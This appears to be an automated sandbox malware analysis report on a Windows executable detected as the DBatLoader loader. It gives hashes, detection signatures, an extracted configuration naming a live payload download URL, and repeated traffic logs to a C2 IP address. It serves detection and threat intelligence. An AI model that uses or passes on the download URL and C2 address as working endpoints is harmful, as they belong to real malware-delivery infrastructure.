Edit tour

Windows Analysis Report
UAHIzSm2x2.exe

Overview

General Information

Sample name:	UAHIzSm2x2.exe renamed because original name is a hash value
Original sample name:	483ab6bd562b28782d0999abec4f57f5.exe
Analysis ID:	1590517
MD5:	483ab6bd562b28782d0999abec4f57f5
SHA1:	b758556af2b98708b97a6c3bdbd1e9f2905ed690
SHA256:	e5393c34240b7e1b8a35052d7e151c324a4aa6424b5a6e1a45717157042fb9ab
Tags:	exeuser-abuse_ch
Infos:

Detection

DBatLoader

Score:	84
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected DBatLoader

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Checks if the current process is being debugged

Contains functionality to call native functions

Contains functionality to check if a connection to the internet is available

Contains functionality to dynamically determine API calls

Contains functionality to launch a process as a different user

Contains functionality to query locales information (e.g. system language)

Detected potential crypto function

Extensive use of GetProcAddress (often used to hide API calls)

Found potential string decryption / allocating functions

JA3 SSL client fingerprint seen in connection with other malware

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

UAHIzSm2x2.exe (PID: 6228 cmdline: "C:\Users\user\Desktop\UAHIzSm2x2.exe" MD5: 483AB6BD562B28782D0999ABEC4F57F5)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DBatLoader	This Delphi loader misuses Cloud storage services, such as Google Drive to download the Delphi stager component. The Delphi stager has the actual payload embedded as a resource and starts it.	No Attribution	https://blog.vincss.net/2020/09/re016-malware-analysis-modiloader-eng.html https://blog.vincss.net/re016-malware-analysis-modiloader/ https://gi7w0rm.medium.com/uncovering-ddgroup-a-long-time-threat-actor-d3b3020625a4 https://isc.sans.edu/diary/Malspam+pushes+ModiLoader+DBatLoader+infection+for+Remcos+RAT/29896 https://kienmanowar.wordpress.com/2024/04/09/quicknote-phishing-email-distributes-warzone-rat-via-dbatloader/	https://malpedia.caad.fkie.fraunhofer.de/details/win.dbatloader

Malware Configuration

Threatname: DBatLoader

{"Download Url": ["http://amazonenviro.com/245_Aiymwhpjxsg"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.3461173693.000000007FBB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000000.00000002.3446485255.00000000022F6000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security

Unpacked PEs

Source	Rule	Description	Author
0.2.UAHIzSm2x2.exe.22f65a8.1.raw.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
0.2.UAHIzSm2x2.exe.2890000.2.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
0.2.UAHIzSm2x2.exe.22f65a8.1.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-14T08:24:10.558255+0100	2028371	3	Unknown Traffic	192.168.2.6	49718	166.62.27.188	443	TCP
2025-01-14T08:24:12.405250+0100	2028371	3	Unknown Traffic	192.168.2.6	49736	166.62.27.188	443	TCP
2025-01-14T08:24:14.338304+0100	2028371	3	Unknown Traffic	192.168.2.6	49748	166.62.27.188	443	TCP
2025-01-14T08:24:16.296521+0100	2028371	3	Unknown Traffic	192.168.2.6	49761	166.62.27.188	443	TCP
2025-01-14T08:24:18.281135+0100	2028371	3	Unknown Traffic	192.168.2.6	49777	166.62.27.188	443	TCP
2025-01-14T08:24:20.231335+0100	2028371	3	Unknown Traffic	192.168.2.6	49794	166.62.27.188	443	TCP
2025-01-14T08:24:22.182065+0100	2028371	3	Unknown Traffic	192.168.2.6	49806	166.62.27.188	443	TCP
2025-01-14T08:24:24.136166+0100	2028371	3	Unknown Traffic	192.168.2.6	49824	166.62.27.188	443	TCP
2025-01-14T08:24:26.166228+0100	2028371	3	Unknown Traffic	192.168.2.6	49841	166.62.27.188	443	TCP
2025-01-14T08:24:28.131820+0100	2028371	3	Unknown Traffic	192.168.2.6	49856	166.62.27.188	443	TCP
2025-01-14T08:24:30.078952+0100	2028371	3	Unknown Traffic	192.168.2.6	49871	166.62.27.188	443	TCP
2025-01-14T08:24:32.007116+0100	2028371	3	Unknown Traffic	192.168.2.6	49881	166.62.27.188	443	TCP
2025-01-14T08:24:34.045606+0100	2028371	3	Unknown Traffic	192.168.2.6	49896	166.62.27.188	443	TCP
2025-01-14T08:24:35.982748+0100	2028371	3	Unknown Traffic	192.168.2.6	49909	166.62.27.188	443	TCP
2025-01-14T08:24:37.942258+0100	2028371	3	Unknown Traffic	192.168.2.6	49926	166.62.27.188	443	TCP
2025-01-14T08:24:39.916563+0100	2028371	3	Unknown Traffic	192.168.2.6	49941	166.62.27.188	443	TCP
2025-01-14T08:24:41.844140+0100	2028371	3	Unknown Traffic	192.168.2.6	49953	166.62.27.188	443	TCP
2025-01-14T08:24:43.798640+0100	2028371	3	Unknown Traffic	192.168.2.6	49966	166.62.27.188	443	TCP
2025-01-14T08:24:46.605744+0100	2028371	3	Unknown Traffic	192.168.2.6	49982	166.62.27.188	443	TCP
2025-01-14T08:24:48.526451+0100	2028371	3	Unknown Traffic	192.168.2.6	49998	166.62.27.188	443	TCP
2025-01-14T08:24:50.493883+0100	2028371	3	Unknown Traffic	192.168.2.6	50010	166.62.27.188	443	TCP
2025-01-14T08:24:52.428494+0100	2028371	3	Unknown Traffic	192.168.2.6	50027	166.62.27.188	443	TCP
2025-01-14T08:24:54.368392+0100	2028371	3	Unknown Traffic	192.168.2.6	50029	166.62.27.188	443	TCP
2025-01-14T08:24:56.342749+0100	2028371	3	Unknown Traffic	192.168.2.6	50031	166.62.27.188	443	TCP
2025-01-14T08:24:58.286247+0100	2028371	3	Unknown Traffic	192.168.2.6	50033	166.62.27.188	443	TCP
2025-01-14T08:25:00.225958+0100	2028371	3	Unknown Traffic	192.168.2.6	50035	166.62.27.188	443	TCP
2025-01-14T08:25:02.169327+0100	2028371	3	Unknown Traffic	192.168.2.6	50038	166.62.27.188	443	TCP
2025-01-14T08:25:04.209196+0100	2028371	3	Unknown Traffic	192.168.2.6	50040	166.62.27.188	443	TCP
2025-01-14T08:25:06.190632+0100	2028371	3	Unknown Traffic	192.168.2.6	50042	166.62.27.188	443	TCP
2025-01-14T08:25:08.118909+0100	2028371	3	Unknown Traffic	192.168.2.6	50044	166.62.27.188	443	TCP
2025-01-14T08:25:10.033109+0100	2028371	3	Unknown Traffic	192.168.2.6	50046	166.62.27.188	443	TCP
2025-01-14T08:25:11.978018+0100	2028371	3	Unknown Traffic	192.168.2.6	50048	166.62.27.188	443	TCP
2025-01-14T08:25:13.976443+0100	2028371	3	Unknown Traffic	192.168.2.6	50050	166.62.27.188	443	TCP
2025-01-14T08:25:15.909470+0100	2028371	3	Unknown Traffic	192.168.2.6	50052	166.62.27.188	443	TCP
2025-01-14T08:25:17.885246+0100	2028371	3	Unknown Traffic	192.168.2.6	50055	166.62.27.188	443	TCP
2025-01-14T08:25:19.825410+0100	2028371	3	Unknown Traffic	192.168.2.6	50057	166.62.27.188	443	TCP
2025-01-14T08:25:21.755181+0100	2028371	3	Unknown Traffic	192.168.2.6	50059	166.62.27.188	443	TCP
2025-01-14T08:25:23.714602+0100	2028371	3	Unknown Traffic	192.168.2.6	50061	166.62.27.188	443	TCP
2025-01-14T08:25:25.647828+0100	2028371	3	Unknown Traffic	192.168.2.6	50063	166.62.27.188	443	TCP
2025-01-14T08:25:27.568751+0100	2028371	3	Unknown Traffic	192.168.2.6	50065	166.62.27.188	443	TCP
2025-01-14T08:25:29.504572+0100	2028371	3	Unknown Traffic	192.168.2.6	50067	166.62.27.188	443	TCP
2025-01-14T08:25:31.480033+0100	2028371	3	Unknown Traffic	192.168.2.6	50069	166.62.27.188	443	TCP
2025-01-14T08:25:33.452995+0100	2028371	3	Unknown Traffic	192.168.2.6	50071	166.62.27.188	443	TCP
2025-01-14T08:25:35.378327+0100	2028371	3	Unknown Traffic	192.168.2.6	50073	166.62.27.188	443	TCP
2025-01-14T08:25:37.276138+0100	2028371	3	Unknown Traffic	192.168.2.6	50075	166.62.27.188	443	TCP
2025-01-14T08:25:39.232950+0100	2028371	3	Unknown Traffic	192.168.2.6	50077	166.62.27.188	443	TCP
2025-01-14T08:25:41.165641+0100	2028371	3	Unknown Traffic	192.168.2.6	50079	166.62.27.188	443	TCP
2025-01-14T08:25:43.065507+0100	2028371	3	Unknown Traffic	192.168.2.6	50081	166.62.27.188	443	TCP
2025-01-14T08:25:44.969186+0100	2028371	3	Unknown Traffic	192.168.2.6	50083	166.62.27.188	443	TCP
2025-01-14T08:25:46.871981+0100	2028371	3	Unknown Traffic	192.168.2.6	50085	166.62.27.188	443	TCP
2025-01-14T08:25:48.773009+0100	2028371	3	Unknown Traffic	192.168.2.6	50087	166.62.27.188	443	TCP
2025-01-14T08:25:50.688170+0100	2028371	3	Unknown Traffic	192.168.2.6	50090	166.62.27.188	443	TCP
2025-01-14T08:25:52.611704+0100	2028371	3	Unknown Traffic	192.168.2.6	50092	166.62.27.188	443	TCP
2025-01-14T08:25:54.516715+0100	2028371	3	Unknown Traffic	192.168.2.6	50094	166.62.27.188	443	TCP
2025-01-14T08:25:56.420846+0100	2028371	3	Unknown Traffic	192.168.2.6	50096	166.62.27.188	443	TCP
2025-01-14T08:25:58.402905+0100	2028371	3	Unknown Traffic	192.168.2.6	50098	166.62.27.188	443	TCP
2025-01-14T08:26:00.326241+0100	2028371	3	Unknown Traffic	192.168.2.6	50100	166.62.27.188	443	TCP
2025-01-14T08:26:02.259162+0100	2028371	3	Unknown Traffic	192.168.2.6	50102	166.62.27.188	443	TCP
2025-01-14T08:26:04.207809+0100	2028371	3	Unknown Traffic	192.168.2.6	50104	166.62.27.188	443	TCP
2025-01-14T08:26:06.144655+0100	2028371	3	Unknown Traffic	192.168.2.6	50106	166.62.27.188	443	TCP
2025-01-14T08:26:08.062325+0100	2028371	3	Unknown Traffic	192.168.2.6	50108	166.62.27.188	443	TCP
2025-01-14T08:26:09.994141+0100	2028371	3	Unknown Traffic	192.168.2.6	50110	166.62.27.188	443	TCP
2025-01-14T08:26:11.902567+0100	2028371	3	Unknown Traffic	192.168.2.6	50112	166.62.27.188	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://amazonenviro.com:443/245_Aiymwhpjxsg	Avira URL Cloud: Label: malware
Source: http://amazonenviro.com/245_Aiymwhpjxsg	Avira URL Cloud: Label: malware
Source: https://amazonenviro.com/245_Aiymwhpjxsg	Avira URL Cloud: Label: malware
Source: http://amazonenviro.com:80/245_Aiymwhpjxsg	Avira URL Cloud: Label: malware

Found malware configuration

Source: UAHIzSm2x2.exe

Malware Configuration Extractor: DBatLoader {"Download Url": ["http://amazonenviro.com/245_Aiymwhpjxsg"]}

Multi AV Scanner detection for submitted file

Source: UAHIzSm2x2.exe	Virustotal: Detection: 77%			Perma Link
Source: UAHIzSm2x2.exe	ReversingLabs: Detection: 87%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Source: UAHIzSm2x2.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:49794 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:49806 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:49841 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:49856 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:49871 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:49881 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:49896 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:49909 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:49926 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:49941 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:49953 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:49966 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:49982 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:49998 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50010 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50027 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50029 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50031 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50033 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50035 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50038 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50040 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50042 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50044 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50046 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50048 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50050 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50052 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50055 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50057 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50059 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50061 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50063 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50065 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50067 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50069 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50071 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50073 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50075 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50077 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50079 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50081 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50083 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50085 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50087 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50090 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50092 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50094 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50096 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50098 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50100 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50102 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50104 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50106 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50108 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50110 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.6:50112 version: TLS 1.2

Source: C:\Users\user\Desktop\UAHIzSm2x2.exe

Code function: 0_2_028958B4 GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA,

0_2_028958B4

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://amazonenviro.com/245_Aiymwhpjxsg

Source: C:\Users\user\Desktop\UAHIzSm2x2.exe

Code function: 0_2_028AE72C InternetCheckConnectionA,

0_2_028AE72C

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49736 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49761 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49718 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49777 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49794 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49841 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49824 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49806 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49856 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49871 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49881 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49748 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49909 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49896 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49941 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49966 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50035 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50027 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50044 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50040 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50046 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50042 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50057 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50055 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50050 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49998 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50065 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50010 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49982 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50059 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50077 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50052 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50067 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50069 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50029 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50081 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50079 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50085 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50090 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50100 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50092 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50106 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50094 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50096 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50073 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50112 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50108 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50102 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50033 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50038 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50071 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50063 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50104 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50061 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50048 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50075 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50098 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50087 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50083 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50110 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49926 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49953 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50031 -> 166.62.27.188:443

